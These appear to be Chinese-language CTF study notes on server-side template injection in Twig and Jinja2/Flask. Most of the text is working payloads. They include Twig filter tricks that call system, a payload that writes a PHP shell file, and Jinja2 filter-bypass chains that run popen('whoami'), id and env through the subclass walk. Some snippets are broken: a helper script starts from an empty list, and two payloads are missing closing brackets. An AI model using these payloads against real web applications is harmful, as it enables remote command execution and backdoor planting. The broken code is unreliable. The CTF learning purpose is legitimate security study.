SSTI模板注入
模板引擎注入
参考https://www.cnblogs.com/wangtanzhi/p/12238779.html
https://blog.csdn.net/m0_55109452/article/details/117474173
模板注入可以分成这么几种,有smarty,mako,Jinja2, Twig等,这些对应的是不同的模板引擎
模板引擎:作用就是可以控制前端输出的内容
smarty可以直接在花括号内写入想要执行的函数
而Twig需要一些
利用tplmap这个工具进行检测是否有模板注入漏洞,用法有点像sqlmap,都是基于python的。
参考这里进行安装和使用https://blog.csdn.net/weixin_47726676/article/details/115905366
根据题目名“IP”,结合访问反馈ip,不难想到X-Forwarded-for ,该请求头代表了请求头的IP
直接使用火狐浏览器打开网站,使用插件Hackbar,添加X-Forwarded-For头后发现是可控的
经过测试,{{7*‘7’}}是可以执行的,那么是flask/jinja2模板注入或者PHP/模版引擎Twig注入,参考这个来构造payload:
直接查看config就看到了flag
X-Forwarded-For: {{system(‘cd …;ls’}}
也可以使用burp suite来抓包修改
Twig有过滤器,64种
twig payloads
https://xz.aliyun.com/t/7518#toc-5
直接上结论,下面的payload在Twig 3.x 版本测试通过,看了1.x和2.x版本的代码,应该也是可以利用的。id是要执行的命令
{{["id"]|map("system")|join(",")
{{["id", 0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0, 0]|reduce("system", "id")|join(",")}}
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
例:使用map过滤器
twig——{{_self}},这个变量名可以显示自己的
smarty——也有这样的自带的变量名,可以来判断是否是这种模板
使用map的过滤器,发现回显的是bad hacker
把map删掉后出现了报错,说明是map被过滤掉了,可以尝试使用别的过滤器
要找到模板注入点,而且会有过滤,还有可能是sandbox,就不能执行php代码了
python flask模板注入
jinjia2
select_get可以获得一些敏感信息
可以参考学习的网站:https://blog.csdn.net/qq_40827990/article/details/82940894
https://blog.csdn.net/qq_38154820/article/details/111399386
https://my.oschina.net/u/4541916/blog/4356926
python2和python3的区别,python3中没有base之类的了
绕过技巧:
-
过滤引号:使用列表、元组等不需要引号的类型。也可以使用request,例:request.a之类的
-
过滤方括号:不能取下面一个类/属性的,可以使用pop等函数
-
过滤下划线:16进制编码来绕过
-
过滤点号要用
-
过滤花括号:过滤两个,利用用{%}这样的方式。但是过滤单个的话,就不好做了
-
使用jinjia2的过滤器:attr
这里的方法是先用__class__先找到’'的类
用__bases__找到他的基类
subclass()找到子类不断查找子类,找到可以使用的、已经加载进来的方法来实现执行系统命令
常用的是用build调用eval函数,或者使用popen函数
在子类中并不是所有的都能用上,需要找的
一是file模块中的read功能,用来读取各种文件,敏感信息等。但是在
二是warnings.catch_warnings(需自己导入os模块)、socket._socketobject(需自己导入os模块)、site._Printer、site.Quitter等模块的内置os,通过os模块我们可以做到system执行命令(system执行成功返回0,不会在页面显示。)、popen管道读取文件、listdir列目录等操作。
三是get_flashed_messages() 获取闪现信息
用post的方式来做
找到warning函数
利用python的脚本,查找可以用的函数:
def find():
list = ""
list = list.replace('\'','')
list = list.replace('<','')
list = list.replace('>','')
list = list.replace('class ','')
list = list.replace('enum ','')
list = list.replace('type ','')
list = list.replace(' ','')
list = list.split(',')
print(list)
className = 'warnings.catch_warnings' #需要查找的模块名称
num = list.index(className)
print(num) #返回索引
if __name__ == '__main__':
find()
06 构造payload
以下为绕过思路:
- 原语句为:
().__class__.__bases__[0].__subclasses__()
- 过滤了点号,使用[" "]代替:
()["__class__"]["__bases__"][0]["__subclasses__"]()
- 过滤了下划线,使用十六进制\x5f代替:
()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()
- 过滤了关键字,采用字符串拼接:
()["\x5f\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fbas"+"es\x5f\x5f"][0]["\x5f\x5fsubc"+"lasses\x5f\x5f"]()
- 成功绕过过滤
nickname={{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("whoami")["read"]()}}
构造的payload的语句
变量块 {{}} 用于将表达式打印到模板输出
注释块 {##} 注释
控制块 {%%} 可以声明变量,也可以执行语句
行声明 ## 可以有和{%%}相同的效果
例题:buuctf [flask]SSTI
http://node4.buuoj.cn:27643/
说明存在SSTI注入点
可以一点一点查询,也可以插入一段python代码来执行:
#执行id
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
#执行env,打印出环境
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("env").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}